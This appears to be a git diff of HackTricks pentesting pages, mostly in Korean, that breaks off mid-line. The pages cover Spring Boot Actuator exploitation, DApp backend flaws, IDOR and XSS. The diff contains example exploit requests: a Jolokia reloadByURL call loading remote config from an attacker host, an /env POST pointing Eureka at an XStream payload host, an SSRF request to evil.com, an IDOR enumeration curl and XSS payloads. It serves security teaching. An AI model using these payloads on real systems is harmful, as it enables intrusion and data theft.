-**출처** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) +**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) -## Spring Boot Actuators 악용하기 +## Exploiting Spring Boot Actuators -**원본 게시물 확인:** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] +**Check the original post from** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] -### **주요 사항:** +### **Key Points:** -- Spring Boot Actuators는 `/health`, `/trace`, `/beans`, `/env` 등의 엔드포인트를 등록합니다. 1.0부터 1.4 버전까지는 이러한 엔드포인트에 인증 없이 접근할 수 있습니다. 1.5 버전부터는 기본적으로 `/health`와 `/info`만 비민감하지만, 개발자들이 종종 이 보안을 비활성화합니다. +- Spring Boot Actuators는 `/health`, `/trace`, `/beans`, `/env` 등의 엔드포인트를 등록합니다. 1부터 1.4 버전까지는 이러한 엔드포인트에 인증 없이 접근할 수 있습니다. 1.5 버전부터는 기본적으로 `/health`와 `/info`만 비민감하지만, 개발자들이 종종 이 보안을 비활성화합니다. - 특정 Actuator 엔드포인트는 민감한 데이터를 노출하거나 해로운 작업을 허용할 수 있습니다: - `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, 및 `/heapdump`. - Spring Boot 1.x에서는 액추에이터가 루트 URL 아래에 등록되지만, 2.x에서는 `/actuator/` 기본 경로 아래에 있습니다. -### **악용 기술:** +### **Exploitation Techniques:** -1. **'/jolokia'를 통한 원격 코드 실행**: +1. **Remote Code Execution via '/jolokia'**: - `/jolokia` 액추에이터 엔드포인트는 Jolokia 라이브러리를 노출하여 MBeans에 대한 HTTP 접근을 허용합니다. - `reloadByURL` 작업은 외부 URL에서 로깅 구성을 다시 로드하도록 악용될 수 있으며, 이는 블라인드 XXE 또는 조작된 XML 구성을 통한 원격 코드 실행으로 이어질 수 있습니다. - 예시 악용 URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. -2. **'/env'를 통한 구성 수정**: +2. **Config Modification via '/env'**: -- Spring Cloud 라이브러리가 존재하는 경우, `/env` 엔드포인트는 환경 속성 수정을 허용합니다. +- Spring Cloud Libraries가 존재하는 경우, `/env` 엔드포인트는 환경 속성을 수정할 수 있습니다. - 속성은 Eureka serviceURL의 XStream 역직렬화 취약점을 악용하기 위해 조작될 수 있습니다. - 예시 악용 POST 요청: @@ -40,21 +40,21 @@ Content-Length: 65 eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` -3. **기타 유용한 설정**: +3. **Other Useful Settings**: - `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, 및 `spring.datasource.tomcat.max-active`와 같은 속성은 SQL 인젝션 또는 데이터베이스 연결 문자열 변경과 같은 다양한 악용을 위해 조작될 수 있습니다. -### **추가 정보:** +### **Additional Information:** - 기본 액추에이터의 포괄적인 목록은 [여기](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt)에서 확인할 수 있습니다. -- Spring Boot 2.x의 `/env` 엔드포인트는 속성 수정을 위해 JSON 형식을 사용하지만, 일반 개념은 동일합니다. +- Spring Boot 2.x의 `/env` 엔드포인트는 속성 수정을 위해 JSON 형식을 사용하지만, 일반 개념은 동일하게 유지됩니다. -### **관련 주제:** +### **Related Topics:** 1. **Env + H2 RCE**: - `/env` 엔드포인트와 H2 데이터베이스의 조합을 악용하는 방법에 대한 자세한 내용은 [여기](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)에서 확인할 수 있습니다. -2. **잘못된 경로 이름 해석을 통한 Spring Boot의 SSRF**: -- Spring 프레임워크의 HTTP 경로 이름에서 행렬 매개변수(`;`) 처리는 서버 측 요청 위조(SSRF)를 악용할 수 있습니다. +2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**: +- Spring 프레임워크의 HTTP 경로 이름에서 매트릭스 매개변수(`;`) 처리 방식은 서버 측 요청 위조(SSRF)를 악용할 수 있습니다. - 예시 악용 요청: ```http GET ;@evil.com/url HTTP/1.1 @@ -62,8 +62,3 @@ Host: target.com Connection: close ``` {{#include ../../banners/hacktricks-training.md}} - - - - -{{#include /banners/hacktricks-training.md}} diff --git a/src/pentesting-web/dapps-DecentralizedApplications.md b/src/pentesting-web/dapps-DecentralizedApplications.md index 278105aff..21de933b8 100644 --- a/src/pentesting-web/dapps-DecentralizedApplications.md +++ b/src/pentesting-web/dapps-DecentralizedApplications.md @@ -1,10 +1,10 @@ # DApps - 분산 애플리케이션 -{{#include ../../banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} ## DApp이란 무엇인가? -DApp은 중앙 서버에서 호스팅되는 것이 아니라 P2P 네트워크에서 실행되는 분산 애플리케이션입니다. DApp은 일반적으로 **블록체인 기술**을 기반으로 구축되어 데이터의 투명성, 보안 및 불변성을 허용해야 합니다. +DApp은 중앙 서버에 호스팅되지 않고 피어 투 피어 네트워크에서 실행되는 분산 애플리케이션입니다. DApp은 일반적으로 **블록체인 기술**을 기반으로 구축되어 데이터의 투명성, 보안 및 불변성을 허용해야 합니다. ## Web3 DApp 아키텍처 @@ -34,7 +34,7 @@ Web2 취약점은 이러한 종류의 애플리케이션에도 여전히 영향 - **클라이언트 측 취약점**은 Web3 DApp에서 클라이언트가 일반적으로 **지갑을 통해 블록체인에서 작업을 수행하는** 경우 영향이 증가합니다. 이는 XSS와 같은 공격이 클라이언트 측에서 JS 코드를 실행하거나 페이지의 내용을 변조할 수 있어, **지갑과 상호작용**하고 사용자가 블록체인에서 원하지 않는 작업을 수행하도록 설득할 수 있는 더 큰 영향을 미칠 수 있음을 의미합니다. - 일반적으로 이러한 종류의 애플리케이션에서도 클라이언트는 지갑으로 서명하기 전에 작업을 검토할 수 있습니다. 그러나 공격자가 페이지의 내용을 변조할 수 있다면 사용자가 블록체인에서 원하지 않는 작업을 수행하는 거래에 서명하도록 설득할 수 있습니다. -- **서버 측 취약점**은 여전히 백엔드 서버에 의존하는 DApp에서 존재합니다. 이러한 취약점의 영향은 DApp의 아키텍처에 따라 달라집니다. 그러나 공격자가 백엔드에서 **회사의 키**를 찾아 스마트 계약의 자금에 접근하거나 계정 탈취를 수행하여 사용자로부터 자금이나 NFT를 훔칠 수 있는 경우 매우 문제가 될 수 있습니다. +- **서버 측 취약점**은 여전히 백엔드 서버에 의존하는 DApp에서 존재합니다. 이러한 취약점의 영향은 DApp의 아키텍처에 따라 달라집니다. 그러나 공격자가 백엔드에서 **회사의 키**를 찾아 스마트 계약의 자금을 접근하거나 계정 탈취를 수행하여 사용자로부터 자금이나 NFT를 훔칠 수 있는 경우 매우 문제가 될 수 있습니다. 물론 DApp이 백엔드를 사용하지 않거나 백엔드가 공용 체인 데이터나 정적 페이지만 제공하는 경우 DApp의 공격 표면은 줄어듭니다. @@ -44,37 +44,37 @@ Web2 취약점은 이러한 종류의 애플리케이션에도 여전히 영향 Web3 DApp의 취약점을 다음과 같은 범주로 그룹화할 수 있습니다: -- **잘못 처리된 온체인 거래**: 잘못 형식화되거나 제한되지 않은 거래 API, 응답 대기 및 블록 확인 로직 부족, 민감한 데이터 노출, 실패, 되돌림 또는 내부 유형 거래의 잘못된 처리로 인해 악의적인 calldata 주입이 가능해집니다. +- **온체인 거래 처리 오류**: 잘못된 형식 또는 제한 없는 거래 API, 응답 대기 및 블록 확인 로직 부족, 민감한 데이터 노출, 실패, 되돌림 또는 내부 유형 거래의 부적절한 처리로 인해 악의적인 calldata 주입이 가능해집니다. - **스마트 계약 기반 백엔드 공격**: 검증 없이 계약과 데이터베이스 간에 민감한 데이터를 저장하거나 동기화, 체크되지 않은 이벤트 방출 또는 계약 주소, 백엔드 로직을 오염시킬 수 있는 악용 가능한 계약 취약점. -- **결함 있는 암호 자산 운영**: 다양한 토큰 유형(네이티브 vs. ERC-20)을 잘못 처리, 소수점 정밀도 무시, 실패한 전송 또는 내부 거래, 검증 없이 가짜, 디플레이션, 리베이스 또는 슬리피지에 취약한 토큰 수용, 토큰 메타데이터를 통한 페이로드 주입 가능. +- **결함 있는 암호 자산 운영**: 다양한 토큰 유형(네이티브 vs. ERC-20) 잘못 처리, 소수점 정밀도 무시, 실패한 전송 또는 내부 거래, 검증 없이 가짜, 디플레이션, 리베이스 또는 슬리피지에 취약한 토큰 수용, 토큰 메타데이터를 통한 페이로드 주입 가능. [**이 게시물**](https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications)에서 몇 가지 예시: ### 자금 낭비: 백엔드에 거래 수행 강제 -**`제한 없는 API를 통한 가스 낭비`** 시나리오에서 공격자는 백엔드가 가스를 소모하는 스마트 계약의 함수를 호출하도록 강제할 수 있습니다. 공격자는 ETH 계좌 번호를 보내고 제한 없이 백엔드가 스마트 계약을 등록하도록 강제하여 가스를 소모하게 됩니다. +**`제한 없는 API를 통한 가스 낭비`** 시나리오에서 공격자는 백엔드가 가스를 소모하는 스마트 계약의 함수를 호출하도록 강제할 수 있습니다. 공격자는 ETH 계좌 번호를 보내고 제한 없이 백엔드가 스마트 계약을 등록하도록 강제하여 가스를 소모하게 합니다. ### DoS: 불량 거래 처리 시간 -**`불량 거래 시간 처리가 DoS로 이어짐`** 시나리오에서는 백엔드가 거래가 수행될 때까지 HTTP 요청을 열어 두기 때문에 사용자가 백엔드에 여러 HTTP 요청을 쉽게 보내 자원을 소모하게 되어 DoS로 이어질 수 있음을 설명합니다. +**`불량 거래 시간 처리가 DoS로 이어짐`** 시나리오에서는 백엔드가 거래가 수행될 때까지 HTTP 요청을 열어두기 때문에 사용자가 백엔드에 여러 HTTP 요청을 쉽게 보내 백엔드의 모든 자원을 소모하게 되어 DoS로 이어질 수 있다고 설명합니다. ### 백엔드<-->블록체인 비동기 - 경쟁 조건 -**`불량 거래 시간 처리가 경쟁 조건으로 이어짐`** 시나리오에서는 게임에서 사용자가 백엔드에 출금 요청을 보내면 백엔드가 사용자의 코인을 보내지만 거래가 여전히 처리 중일 때 사용자가 그 코인을 사용하여 게임에서 아이템을 구매할 수 있어 무료로 얻는 경우를 설명합니다. +**`불량 거래 시간 처리가 경쟁 조건으로 이어짐`** 시나리오에서는 게임에서 사용자가 백엔드에 출금 요청을 보내고 거래가 처리되는 동안 그 코인을 사용하여 게임에서 아이템을 구매할 수 있었던 경우를 설명합니다. 사용자는 무료로 아이템을 얻을 수 있었습니다. -또 다른 예시는 백엔드가 즉시 아이템을 사용자에게 제공하여 거래가 확인될 때까지 기다리지 않고 사용자의 블록체인 잔액이 줄어들기를 기다리지 않기 때문에 동일한 코인을 사용하여 다른 아이템을 구매할 수 있는 경우입니다. +또 다른 예시는 백엔드가 거래가 확인될 때까지 기다리지 않고 즉시 아이템을 사용자에게 제공하여 동일한 코인을 사용하여 다른 아이템을 구매할 수 있는 경우입니다. ### 스마트 계약 주소 검증 -**`브리지 백엔드가 스마트 계약 주소 검증 부족`** 시나리오에서는 백엔드가 스마트 계약의 주소를 확인하고 있었기 때문에 공격자가 가짜 스마트 계약을 배포하고 자금을 올려 백엔드에 거래를 보내면 백엔드가 사용자가 실제 스마트 계약에 자금을 보냈다고 생각하고 사용자에게 토큰을 제공하게 되는 경우를 설명합니다. +**`브리지 백엔드가 스마트 계약 주소 검증 부족`** 시나리오에서는 백엔드가 스마트 계약의 주소를 확인하고 있었기 때문에 공격자가 가짜 스마트 계약을 배포하고 자금을 넣은 후 거래를 백엔드에 보내면 백엔드가 사용자가 실제 스마트 계약에 자금을 보냈다고 생각하고 사용자에게 토큰을 제공하게 됩니다. -### 자산 클래스 잘못 처리 +### 자산 클래스 처리 오류 -**`자산 클래스 잘못 처리`** 시나리오에서는 백엔드가 주소에 있는 사기 NFT를 1 MATIC으로 혼동하여 공격자가 수백 개의 사기 NFT를 해당 주소로 보내고 플랫폼에서 각각 1 MATIC을 받게 되는 경우를 설명합니다. +**`자산 클래스 처리 오류`** 시나리오에서는 백엔드가 주소에 있는 사기 NFT를 1 MATIC으로 혼동하여 공격자가 수백 개의 사기 NFT를 해당 주소로 보내고 플랫폼에서 각각 1 MATIC을 받도록 허용했다고 설명합니다. ## 참고 문헌 - [https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications](https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications) -{{#include ../../banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md b/src/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md index 4d7fb31bc..d5f138fb3 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md @@ -42,9 +42,7 @@ if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\ ## References - [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/) +``` +``` {{#include ../../banners/hacktricks-training.md}} -``` - -``` -{{#include /banners/hacktricks-training.md}} diff --git a/src/pentesting-web/idor.md b/src/pentesting-web/idor.md index 499f4a537..9df52335d 100644 --- a/src/pentesting-web/idor.md +++ b/src/pentesting-web/idor.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA)는 웹 또는 API 엔드포인트가 **직접적으로** 내부 객체에 접근하는 데 사용되는 사용자 제어 식별자를 공개하거나 수락할 때 발생합니다. **호출자가 해당 객체에 접근/수정할 권한이 있는지 확인하지 않고** 접근합니다. 성공적인 악용은 일반적으로 다른 사용자의 데이터를 읽거나 수정하는 수평 또는 수직 권한 상승을 허용하며, 최악의 경우 전체 계정 탈취 또는 대량 데이터 유출을 초래할 수 있습니다. +IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA)는 웹 또는 API 엔드포인트가 **직접적으로** 내부 객체에 접근하는 데 사용되는 사용자 제어 식별자를 공개하거나 수락할 때 발생합니다. **호출자가 해당 객체에 접근/수정할 권한이 있는지 확인하지 않고** 접근합니다. 성공적인 악용은 일반적으로 다른 사용자의 데이터를 읽거나 수정하는 수평 또는 수직 권한 상승을 허용하며, 최악의 경우 전체 계정 탈취 또는 대량 데이터 유출로 이어질 수 있습니다. --- ## 1. 잠재적 IDOR 식별하기 @@ -44,7 +44,7 @@ Paradox.ai 기반의 **McHire** 채용 포털 평가 중 다음과 같은 IDOR * 인증: **모든** 레스토랑 테스트 계정의 사용자 세션 쿠키 * 본문 매개변수: `{"lead_id": N}` – 8자리, **순차적인** 숫자 식별자 -`lead_id`를 감소시킴으로써 테스터는 임의의 지원자의 **전체 PII** (이름, 이메일, 전화번호, 주소, 근무 선호도)와 세션 하이재킹을 허용하는 소비자 **JWT**를 검색했습니다. 범위 `1 – 64,185,742`의 열거는 대략 **6400만** 개의 기록을 노출했습니다. +`lead_id`를 감소시킴으로써 테스터는 임의의 지원자의 **전체 PII** (이름, 이메일, 전화번호, 주소, 근무 선호도)와 세션 하이재킹을 허용하는 소비자 **JWT**를 검색했습니다. 범위 `1 – 64,185,742`의 열거는 대략 **6400만** 개의 레코드를 노출했습니다. 개념 증명 요청: ```bash @@ -63,7 +63,7 @@ curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \ --- ## 4. 완화 및 모범 사례 -1. 모든 요청에 대해 **객체 수준의 권한 부여**를 시행 (`user_id == session.user`). +1. 모든 요청에 대해 **객체 수준 권한 부여**를 시행 (`user_id == session.user`). 2. 자동 증가 ID 대신 **간접적이고 추측할 수 없는 식별자** (UUIDv4, ULID)를 선호. 3. 권한 부여를 **서버 측에서 수행**, 숨겨진 폼 필드나 UI 컨트롤에 의존하지 않음. 4. 중앙 미들웨어에서 **RBAC / ABAC** 검사를 구현. @@ -76,10 +76,8 @@ curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \ * **OWASP ZAP**: Auth Matrix, Forced Browse. * **Github 프로젝트**: `bwapp-idor-scanner`, `Blindy` (대량 IDOR 탐색). -{{#include ../banners/hacktricks-training.md}} - ## 참고 문헌 * [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds) * [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) * [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489) -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index 281ed4605..56f3f4c44 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -1,33 +1,33 @@ -# XSS (Cross Site Scripting) +# XSS (크로스 사이트 스크립팅) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} -## Methodology +## 방법론 -1. **당신이 제어하는 값** (_parameters_, _path_, _headers_?, _cookies_?)가 HTML에 **반영**되거나 **JS** 코드에 **사용**되고 있는지 확인합니다. +1. **당신이 제어하는 값** (_매개변수_, _경로_, _헤더_?, _쿠키_?)가 HTML에 **반영**되거나 **JS** 코드에 **사용**되고 있는지 확인합니다. 2. **반영/사용되는 맥락**을 찾습니다. 3. **반영된 경우** 1. **어떤 기호를 사용할 수 있는지** 확인하고, 그에 따라 페이로드를 준비합니다: 1. **원시 HTML**에서: -1. 새로운 HTML 태그를 생성할 수 있습니까? -2. `javascript:` 프로토콜을 지원하는 이벤트나 속성을 사용할 수 있습니까? -3. 보호를 우회할 수 있습니까? +1. 새로운 HTML 태그를 만들 수 있나요? +2. `javascript:` 프로토콜을 지원하는 이벤트나 속성을 사용할 수 있나요? +3. 보호를 우회할 수 있나요? 4. HTML 콘텐츠가 클라이언트 측 JS 엔진 (_AngularJS_, _VueJS_, _Mavo_...)에 의해 해석되고 있다면, [**클라이언트 측 템플릿 주입**](../client-side-template-injection-csti.md)을 악용할 수 있습니다. -5. JS 코드를 실행하는 HTML 태그를 생성할 수 없다면, [**덩글링 마크업 - HTML 스크립트 없는 주입**](../dangling-markup-html-scriptless-injection/index.html)을 악용할 수 있습니까? +5. JS 코드를 실행하는 HTML 태그를 만들 수 없다면, [**덩글링 마크업 - HTML 스크립트 없는 주입**](../dangling-markup-html-scriptless-injection/index.html)을 악용할 수 있나요? 2. **HTML 태그 내부**에서: -1. 원시 HTML 맥락으로 나갈 수 있습니까? -2. JS 코드를 실행하기 위해 새로운 이벤트/속성을 생성할 수 있습니까? -3. 당신이 갇힌 속성이 JS 실행을 지원합니까? -4. 보호를 우회할 수 있습니까? +1. 원시 HTML 맥락으로 나갈 수 있나요? +2. JS 코드를 실행하기 위해 새로운 이벤트/속성을 만들 수 있나요? +3. 당신이 갇힌 속성이 JS 실행을 지원하나요? +4. 보호를 우회할 수 있나요? 3. **JavaScript 코드 내부**에서: -1. ``** 태그, `.js` 파일 또는 **`javascript:`** 프로토콜을 사용하는 속성 내부에 반영됩니다: +이 경우 입력은 HTML 페이지의 **``** 태그, `.js` 파일 또는 **`javascript:`** 프로토콜을 사용하는 속성 내에서 반영됩니다: -- **``** 태그 사이에 반영되는 경우, 입력값이 어떤 종류의 따옴표 안에 있더라도 ``를 주입하고 이 컨텍스트에서 벗어날 수 있습니다. 이는 **브라우저가 먼저 HTML 태그를 파싱**하고 그 다음에 내용을 처리하기 때문에, 주입된 `` 태그가 HTML 코드 내부에 있다는 것을 인식하지 못합니다. -- **JS 문자열 내부**에 반영되고 마지막 트릭이 작동하지 않는 경우, 문자열에서 **나가고**, **코드를 실행**하며 **JS 코드를 재구성**해야 합니다(오류가 발생하면 실행되지 않습니다): +- **``** 태그 사이에 반영되는 경우, 입력이 어떤 종류의 따옴표 안에 있더라도 ``를 주입하고 이 컨텍스트에서 벗어날 수 있습니다. 이는 **브라우저가 먼저 HTML 태그를 파싱**하고 그 다음에 내용을 파싱하기 때문에, 주입된 `` 태그가 HTML 코드 안에 있다는 것을 인식하지 못합니다. +- **JS 문자열** 안에 반영되고 마지막 트릭이 작동하지 않는 경우, 문자열에서 **나가고**, **코드를 실행**하며 **JS 코드를 재구성**해야 합니다 (오류가 발생하면 실행되지 않습니다): - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` -- 템플릿 리터럴 내부에 반영되는 경우, `${ ... }` 구문을 사용하여 **JS 표현식**을 **삽입**할 수 있습니다: `` var greetings = `Hello, ${alert(1)}` `` +- 템플릿 리터럴 안에 반영되는 경우, `${ ... }` 구문을 사용하여 **JS 표현식**을 **삽입**할 수 있습니다: `` var greetings = `Hello, ${alert(1)}` `` - **유니코드 인코딩**은 **유효한 자바스크립트 코드**를 작성하는 데 사용됩니다: ```javascript alert(1) @@ -85,8 +85,8 @@ alert(1) ``` #### Javascript Hoisting -Javascript Hoisting은 **함수, 변수 또는 클래스를 사용한 후에 선언할 수 있는 기회를 참조하며, 이는 XSS가 선언되지 않은 변수나 함수를 사용하는 시나리오를 악용할 수 있게 합니다.**\ -**자세한 정보는 다음 페이지를 확인하세요:** +Javascript Hoisting은 **함수, 변수 또는 클래스를 사용한 후에 선언할 수 있는 기회를 참조하여 XSS가 선언되지 않은 변수나 함수를 사용하는 시나리오를 악용할 수 있습니다.**\ +**자세한 내용은 다음 페이지를 확인하세요:** {{#ref}} js-hoisting.md @@ -118,7 +118,7 @@ parentElement 그러나 일반적으로 지정된 함수를 실행하는 엔드포인트는 흥미로운 DOM이 많지 않은 엔드포인트입니다. **같은 출처의 다른 페이지**는 더 많은 작업을 수행할 수 있는 **더 흥미로운 DOM**을 가질 것입니다. -따라서 **다른 DOM에서 이 취약점을 악용하기 위해** **Same Origin Method Execution (SOME)** 취약점이 개발되었습니다: +따라서 **다른 DOM에서 이 취약점을 악용하기 위해** **Same Origin Method Execution (SOME)** 익스플로잇이 개발되었습니다: {{#ref}} some-same-origin-method-execution.md @@ -134,7 +134,7 @@ dom-xss.md ### **유니버설 XSS** -이러한 종류의 XSS는 **어디에서나** 발견될 수 있습니다. 이는 웹 애플리케이션의 클라이언트 취약점에만 의존하지 않고 **모든** **맥락**에 의존합니다. 이러한 종류의 **임의 JavaScript 실행**은 **RCE**를 얻거나, 클라이언트와 서버에서 **임의의** **파일**을 **읽는** 데 악용될 수 있습니다. 몇 가지 **예시**: +이러한 종류의 XSS는 **어디에서나** 발견될 수 있습니다. 이는 웹 애플리케이션의 클라이언트 익스플로잇에만 의존하지 않고 **모든** **컨텍스트**에 의존합니다. 이러한 종류의 **임의 JavaScript 실행**은 **RCE**를 얻거나, 클라이언트와 서버에서 **임의의** **파일을 읽는** 데 악용될 수 있습니다. 몇 가지 **예시**: {{#ref}} server-side-xss-dynamic-pdf.md @@ -150,9 +150,9 @@ server-side-xss-dynamic-pdf.md ## 원시 HTML 내 주입 -당신의 입력이 **HTML 페이지 내에서 반영**되거나 이 맥락에서 HTML 코드를 이스케이프하고 주입할 수 있다면, **첫 번째**로 해야 할 일은 `<`를 악용하여 새로운 태그를 생성할 수 있는지 확인하는 것입니다: 그 **문자**를 **반영**해보고 그것이 **HTML 인코딩**되었는지, **삭제**되었는지, 아니면 **변경 없이 반영**되었는지 확인하십시오. **마지막 경우에만 이 경우를 악용할 수 있습니다**.\ -이 경우에도 **[클라이언트 측 템플릿 주입](../client-side-template-injection-csti.md)**을 **염두에 두십시오**.\ -_**참고: HTML 주석은 `-->` 또는 `--!>`로 닫을 수 있습니다.**_ +당신의 입력이 **HTML 페이지 내에서 반영**되거나 이 컨텍스트에서 HTML 코드를 이스케이프하고 주입할 수 있다면, **첫 번째**로 해야 할 일은 `<`를 악용하여 새로운 태그를 생성할 수 있는지 확인하는 것입니다: 그 **문자**를 **반영**해보고 그것이 **HTML 인코딩**되었는지, **삭제**되었는지, 아니면 **변경 없이 반영**되었는지 확인하십시오. **마지막 경우에만 이 경우를 악용할 수 있습니다**.\ +이 경우에도 **[클라이언트 측 템플릿 주입](../client-side-template-injection-csti.md)**을 염두에 두십시오.\ +_**참고: HTML 주석은\*\***\***\*`-->`\*\***\***\*또는 \*\***`--!>`\*\*로 닫을 수 있습니다._ 이 경우 블랙/화이트리스트가 사용되지 않는다면, 다음과 같은 페이로드를 사용할 수 있습니다: ```html @@ -162,12 +162,12 @@ alert(1) ``` -하지만, 태그/속성 블랙리스트/화이트리스트가 사용되고 있다면, 어떤 태그를 생성할 수 있는지 **브루트포스**해야 합니다.\ -허용된 태그를 **찾은 후**, 발견된 유효한 태그 내에서 **속성/이벤트를 브루트포스**하여 공격할 수 있는 방법을 확인해야 합니다. +하지만, 태그/속성 블랙/화이트리스트가 사용되고 있다면, 어떤 태그를 생성할 수 있는지 **브루트 포스**해야 합니다.\ +허용된 태그를 **찾은 후**, 발견된 유효한 태그 내에서 **속성/이벤트를 브루트 포스**하여 공격할 수 있는 방법을 확인해야 합니다. -### 태그/이벤트 브루트포스 +### 태그/이벤트 브루트 포스 -[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)로 가서 _**태그를 클립보드에 복사**_를 클릭하세요. 그런 다음, Burp intruder를 사용하여 모든 태그를 전송하고 WAF에서 악성으로 발견되지 않은 태그가 있는지 확인하세요. 사용할 수 있는 태그를 발견한 후, 유효한 태그를 사용하여 **모든 이벤트를 브루트포스**할 수 있습니다(같은 웹 페이지에서 _**이벤트를 클립보드에 복사**_를 클릭하고 이전과 같은 절차를 따르세요). +[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)로 가서 _**태그를 클립보드에 복사**_를 클릭하세요. 그런 다음, Burp intruder를 사용하여 모든 태그를 전송하고 WAF에서 악성으로 발견되지 않은 태그가 있는지 확인하세요. 사용할 수 있는 태그를 발견한 후, 유효한 태그를 사용하여 **모든 이벤트를 브루트 포스**할 수 있습니다(같은 웹 페이지에서 _**이벤트를 클립보드에 복사**_를 클릭하고 이전과 같은 절차를 따르세요). ### 사용자 정의 태그 @@ -248,10 +248,10 @@ onerror=alert`1` ## HTML 태그 내부에 주입하기 -### 태그 내부/속성 값에서 탈출하기 +### 태그 내부/속성 값에서 이스케이프하기 -**HTML 태그 내부에 있는 경우**, 시도할 수 있는 첫 번째 것은 태그에서 **탈출**하고 [이전 섹션](#injecting-inside-raw-html)에서 언급된 기술 중 일부를 사용하여 JS 코드를 실행하는 것입니다.\ -**태그에서 탈출할 수 없다면**, 태그 내부에 새로운 속성을 만들어 JS 코드를 실행하려고 시도할 수 있습니다. 예를 들어 (_이 예제에서는 속성에서 탈출하기 위해 이중 따옴표를 사용하지만, 입력이 태그 내부에 직접 반영되는 경우에는 필요하지 않습니다_): +**HTML 태그 내부에 있다면**, 시도할 수 있는 첫 번째 것은 태그에서 **이스케이프**하고 [이전 섹션](#injecting-inside-raw-html)에서 언급된 기술 중 일부를 사용하여 JS 코드를 실행하는 것입니다.\ +**태그에서 이스케이프할 수 없다면**, 태그 내부에 새로운 속성을 만들어 JS 코드를 실행하려고 시도할 수 있습니다. 예를 들어 (_이 예제에서는 속성에서 이스케이프하기 위해 이중 따옴표를 사용하지만, 입력이 태그 내부에 직접 반영되는 경우에는 필요하지 않습니다_): ```bash " autofocus onfocus=alert(document.domain) x=" " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t @@ -268,12 +268,12 @@ onerror=alert`1` ``` ### Within the attribute -속성에서 **탈출할 수 없는 경우**(`"`가 인코딩되거나 삭제됨)에도 불구하고, **어떤 속성**에 값이 반영되는지에 따라 **모든 값을 제어할 수 있는지 또는 일부만 제어할 수 있는지**에 따라 이를 악용할 수 있습니다. **예를 들어**, `onclick=`와 같은 이벤트를 제어할 수 있다면 클릭할 때 임의의 코드를 실행할 수 있습니다.\ +속성에서 **탈출할 수 없는 경우** (`"`가 인코딩되거나 삭제되는 경우)에도, **어떤 속성**에 값이 반영되는지에 따라 **모든 값을 제어할 수 있는지 또는 일부만 제어할 수 있는지**에 따라 이를 악용할 수 있습니다. **예를 들어**, `onclick=`와 같은 이벤트를 제어할 수 있다면 클릭할 때 임의의 코드를 실행할 수 있습니다.\ 또 다른 흥미로운 **예**는 `href` 속성으로, 여기서 `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`** **HTML 인코딩/URL 인코딩을 사용한 이벤트 내 우회** -HTML 태그 속성의 값 내 **HTML 인코딩된 문자**는 **런타임에 디코딩**됩니다. 따라서 다음과 같은 것이 유효합니다(페이로드는 굵게 표시됨): `Go Back ` +HTML 태그 속성의 값 내 **HTML 인코딩된 문자**는 **런타임에 디코딩**됩니다. 따라서 다음과 같은 것이 유효합니다 (페이로드는 굵게 표시됨): `Go Back ` **모든 종류의 HTML 인코딩이 유효하다는 점에 유의하세요**: ```javascript @@ -296,7 +296,7 @@ HTML 태그 속성의 값 내 **HTML 인코딩된 문자**는 **런타임에 디 ```python Click ``` -**유니코드 인코드를 사용하여 내부 이벤트 우회** +**유니코드 인코딩을 사용하여 내부 이벤트 우회** ```javascript //For some reason you can use unicode to encode "alert" but not "(1)" @@ -352,7 +352,7 @@ _**이 경우, 이전 섹션의 HTML 인코딩 및 유니코드 인코딩 기법 ```javascript ``` -또한 이러한 